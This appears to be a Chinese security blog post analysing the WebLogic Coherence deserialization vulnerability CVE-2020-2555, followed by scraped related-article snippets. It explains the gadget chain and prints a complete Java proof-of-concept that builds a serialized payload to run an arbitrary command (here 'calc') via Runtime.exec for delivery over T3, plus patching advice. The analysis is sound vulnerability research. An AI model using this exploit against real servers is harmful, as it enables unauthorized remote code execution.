Weblogic Coherence组件漏洞初探CVE-2020-2555

2020年1月,互联网上爆出了weblogic反序列化远程命令执行漏洞(CVE-2020-2555),Oracle Fusion中间件Oracle Coherence存在缺陷,攻击者可利用该漏洞再未授权情况下通过构造T3协议请求,获取weblogic服务器权限,执行任意命令。

漏洞影响情况:

Oracle Coherence 3.7.1.17

Oracle Coherence & Weblogic 12.1.3.0.0

Oracle Coherence & Weblogic 12.2.1.3.0

Oracle Coherence & Weblogic 12.2.1.4.0

通过研究发现 Weblogic 10.3.6.0 版本不受影响范围内,虽然该版本默认自带了 Coherence(3.7),通过调试发现该版本默认并未启用 Coherence,所以 Weblogic 10.3.6.0 不在受影响范围内。

漏洞分析

分析环境Weblogic 12.1.3,注意每个Weblogic中的coherence组件可能会有不同,导致poc构造无法通用

开启weblogic远程调试,打包coherence目录加入到idea中,并开启远程JVM调试

在Coherence组件中,出现了像CC链一样可以组成链式调用的类

1) 链式调用

首先介绍几个关键类,这几个类和CC链一样组成了链式调用。

ValueExtractor接口

所有实现了此接口的类都有个extract方法,这个方法是整个调用链的关键方法

ReflectionExtractor类

此类实现了ValueExtractor接口,有个extract方法,此方法有调用method.invoke

可以用以下demo来构造Runtime.getRuntime()

public class Test {
public static void main(String[] args) {
ReflectionExtractor reflectionExtractor = new ReflectionExtractor(
"getMethod",
new Object[]{"getRuntime", new Class[0]}
); Object extract = reflectionExtractor.extract(Runtime.class);
System.out.println(extract);
}
}

ChainedExtractor类

此方法也实现了ValueExtractor接口,也有个extract方法,查看此方法

此方法和CC链的一样,利用for循环遍历了数组aExtractor的每一个extract方法,形成了ChainedExtractor调用链。以下demo可以构造Runtime.getRuntime.exec造成命令执行的效果

public class Test {
public static void main(String[] args) {
String cmd = "calc"; ValueExtractor[] valueExtractors = new ValueExtractor[]{
new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[0]}),
new ReflectionExtractor("invoke", new Object[]{null, new Object[0]}),
new ReflectionExtractor("exec", new Object[]{new String[]{"cmd", "/c", cmd}})
};
ChainedExtractor chainedExtractor = new ChainedExtractor(valueExtractors);
chainedExtractor.extract(Runtime.class);
}
}

接下来只要寻找到调用了ChainedExtractor#extract方法的类,即可触发调用链。

2) 触发调用链

LimitFilter#toString

此处漏洞采用了com.tangosol.util.filter.LimitFilter#toString来触发调用链,下图为toString方法,其调用了extract方法

这里涉及两个值,分别是this.m_comparator和this.m_oAnchorTop

this.m_comparator转型成了ValueExtractor类型,并赋值给了extractor,而extractor则调用了extract方法

在extractor方法中传入了this.m_oAnchorTop

得出以下条件:

this.m_comparator为chainedExtractor

this.m_oAnchorTop为Runtime.class

以上两个条件满足即可利用com.tangosol.util.filter.LimitFilter#toString来触发调用链

LimitFilter#toString -》 chainedExtractor#extract

接下来就是寻找调用了LimitFilter#toString的类,在CC5中有个BadAttributeValueExpException,其readObject中会调用到toString

BadAttributeValueExpException

此类在CC5中有出现过,其readObject中会调用到toString

此处会调用valObj的toString方法,而valObj在72行时候被获取

3) 构造POC

先附上整个调用链:

Gadget chain:
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
LimitFilter.toString()
ChainedExtractor.extract()
ReflectionExtractor.extract()
Method.invoke()
Class.getMethod()
ReflectionExtractor.extract()
Method.invoke()
Runtime.getRuntime()
ReflectionExtractor.extract()
Method.invoke()
Runtime.exec()

得出POC

package com.yyhuni;

import com.tangosol.util.ValueExtractor;
import com.tangosol.util.extractor.ChainedExtractor;
import com.tangosol.util.extractor.ReflectionExtractor;
import com.tangosol.util.filter.LimitFilter; import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field; public class POC1 {
public static void main(String[] args) throws Exception {
String cmd = "calc";
ValueExtractor[] valueExtractors = new ValueExtractor[]{
new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[0]}),
new ReflectionExtractor("invoke", new Object[]{null, new Object[0]}),
new ReflectionExtractor("exec", new Object[]{new String[]{"cmd", "/c", cmd}})
// new ReflectionExtractor("exec", new Object[]{new String[]{"/bin/bash","-c", cmd}})
};
ChainedExtractor chainedExtractor = new ChainedExtractor(valueExtractors); LimitFilter limitFilter = new LimitFilter(); BadAttributeValueExpException BadAttribute = new BadAttributeValueExpException(null); Field m_comparator = limitFilter.getClass().getDeclaredField("m_comparator");
m_comparator.setAccessible(true);
m_comparator.set(limitFilter, chainedExtractor); Field m_oAnchorTop = limitFilter.getClass().getDeclaredField("m_oAnchorTop");
m_oAnchorTop.setAccessible(true);
m_oAnchorTop.set(limitFilter, Runtime.class); Field val = BadAttribute.getClass().getDeclaredField("val");
val.setAccessible(true);
val.set(BadAttribute, limitFilter); //writeObject
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("poc.ser"));
objectOutputStream.writeObject(BadAttribute);
objectOutputStream.close(); //readObject
ObjectInputStream objectIntputStream = new ObjectInputStream(new FileInputStream("poc.ser"));
objectIntputStream.readObject();
objectIntputStream.close();
}
}

使用T3协议发送POC即可弹出计算器

修复

  1. 临时解决方案:禁用 weblogic T3 协议。
  2. 安装 Oracle 更新补丁,需要登录帐户后下载。

Weblogic Coherence组件漏洞初探CVE-2020-2555的更多相关文章

  1. WebLogic XMLDecoder反序列化漏洞(CVE-2017-10271)复现

    WebLogic XMLDecoder反序列化漏洞(CVE-2017-10271)                                                -----by  ba ...

  2. Java安全之初探weblogic T3协议漏洞

    Java安全之初探weblogic T3协议漏洞 文章首发自安全客:Java安全之初探weblogic T3协议漏洞 0x00 前言 在反序列化漏洞里面就经典的还是莫过于weblogic的反序列化漏洞 ...

  3. Weblogic wls-wsat组件反序列化漏洞(CVE-2017-10271)

    CVE编号: CVE-2017-10271 漏洞描述: Weblogic wls-wsat组件反序列化漏洞 利用脚本: https://github.com/hanc00l/weblogic_wls_ ...

  4. WebLogic中WLS 组件漏洞(CVE-2017-10271)专项检测工具

    来源: 时间:2017-12-23 00:00:00 作者: 浏览:1929 次 近期安恒信息在应急响应过程中发现有恶意攻击者利用WebLogic漏洞对企业服务器发起大范围远程攻击,攻击成功后植入挖矿 ...

  5. weblogic漏洞初探之CVE-2015-4852

    weblogic漏洞初探之CVE-2015-4852 一.环境搭建 1. 搭建docker 这里用了vulhub的环境进行修改:https://vulhub.org/ 新建个文件夹,创建两个文件doc ...

  6. weblogic系列漏洞整理 -- 4. weblogic XMLDecoder 反序列化漏洞(CVE-2017-10271、CVE-2017-3506)

    目录 四. weblogic XMLDecoder 反序列化漏洞(CVE-2017-10271) 0. 漏洞分析 1. 利用过程 2. 修复建议 一.weblogic安装 http://www.cnb ...

  7. CVE-2018-2628 weblogic WLS反序列化漏洞--RCE学习笔记

    weblogic WLS 反序列化漏洞学习 鸣谢 感谢POC和分析文档的作者-绿盟大佬=>liaoxinxi:感谢群内各位大佬及时传播了分析文档,我才有幸能看到. 漏洞简介 漏洞威胁:RCE-- ...

  8. WebLogic XMLDecoder反序列化漏洞复现

    WebLogic XMLDecoder反序列化漏洞复现 参考链接: https://bbs.ichunqiu.com/thread-31171-1-1.html git clone https://g ...

  9. weblogic之CVE-2018-3191漏洞分析

    weblogic之CVE-2018-3191漏洞分析 理解这个漏洞首先需要看这篇文章:https://www.cnblogs.com/afanti/p/10193169.html 引用廖新喜说的,说白 ...

随机推荐

  1. Netty入门(二):Channel

    前言 Netty系列索引: 1.Netty入门(一):ByteBuf 2.Netty入门(二):Channel 在Netty框架中,Channel是其中之一的核心概念,是Netty网络通信的主体,由它 ...

  2. RHCSA_DAY12

    Linux软件包的分类 inghu 源码包 二进制包(RPM包) 源码包特点 源码包缺点:安装过程麻烦,需要用户手动编译,需要手动解决软件包的依赖关系 源码包优点:软件源代码开放,允许用户二次开发,安 ...

  3. 得到、微信、美团、爱奇艺APP组件化架构实践

    一.背景 随着项目逐渐扩展,业务功能越来越多,代码量越来越多,开发人员数量也越来越多.此过程中,你是否有过以下烦恼? 项目模块多且复杂,编译一次要5分钟甚至10分钟?太慢不能忍? 改了一行代码 或只调 ...

  4. [C++]-map和unordered_map

    转自:https://blog.csdn.net/BillCYJ/article/details/78985895 头文件不同 map: #include < map > unordere ...

  5. Linux的磁盘管理和文件系统

    一.磁盘结构 1.1.硬盘的物理结构 盘头:硬盘有多个盘片,每盘片2面 磁头:每面一个磁头 1.2.硬盘的数据结构 扇区:盘片被分为多个扇形区域,每个扇区存放512字节的数据,硬盘的最小存储单位 磁道 ...

  6. Golang语言系列-16-context上下文

    context上下文 控制子goroutine退出 全局变量方式 package main import ( "fmt" "sync" "time&q ...

  7. 有关SQL注入的一些小知识点

    1.判断注入点: 本质原理是找一个需要后台处理后,提交给数据库的点,我理解为用户可以控制并输入后台数据库的变量,比如我们DVWA SQL injection 的ID  ,我们可以通过闭合单引号,#注释 ...

  8. SQL 练习17

    查询各科成绩最高分.最低分和平均分: 以如下形式显示:课程 ID,课程 name,最高分,最低分,平均分,及格率,中等率,优良率,优秀率 , 及格为>=60,中等为:70-80,优良为:80-9 ...

  9. iphdr结构

    包含在/usr/src/linux/include/linux/ip.h 1 struct iphdr { 2 #if defined(__LITTLE_ENDIAN_BITFIELD) 3 __u8 ...

  10. 区间k大数训练

    问题描述 给定一个序列,每次询问序列中第l个数到第r个数中第K大的数是哪个. 输入格式 第一行包含一个数n,表示序列长度. 第二行包含n个正整数,表示给定的序列. 第三个包含一个正整数m,表示询问个数 ...